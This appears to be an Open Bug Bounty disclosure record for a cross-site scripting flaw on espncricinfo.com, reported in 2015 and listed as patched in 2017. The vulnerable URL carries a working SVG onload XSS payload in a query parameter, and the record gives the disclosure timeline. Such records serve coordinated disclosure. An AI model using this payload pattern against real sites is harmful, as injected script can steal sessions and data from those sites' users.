Lucene search

K
openbugbountyRahulKankraleOBB:82009
HistoryAug 26, 2015 - 8:50 a.m.

espncricinfo.com XSS vulnerability

2015-08-2608:50:00
RahulKankrale
www.openbugbounty.org
8
Vulnerable URL:
http://www.espncricinfo.com/blogs/content/story/blogs?genre=%27%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E
Details:
Description Value
Patched: Yes, at 25.07.2017
Latest check for patch: 25.07.2017 14:31 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 272
Google Pagerank 7
VIP website status: Yes
Check espncricinfo.com SSL connection: (Grade: A-)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 26 August, 2015 08:50 GMT
Vulnerability existence verified and confirmed 26 August, 2015 08:52 GMT
Vulnerability patched by the website owner 25 July, 2017 14:31 GMT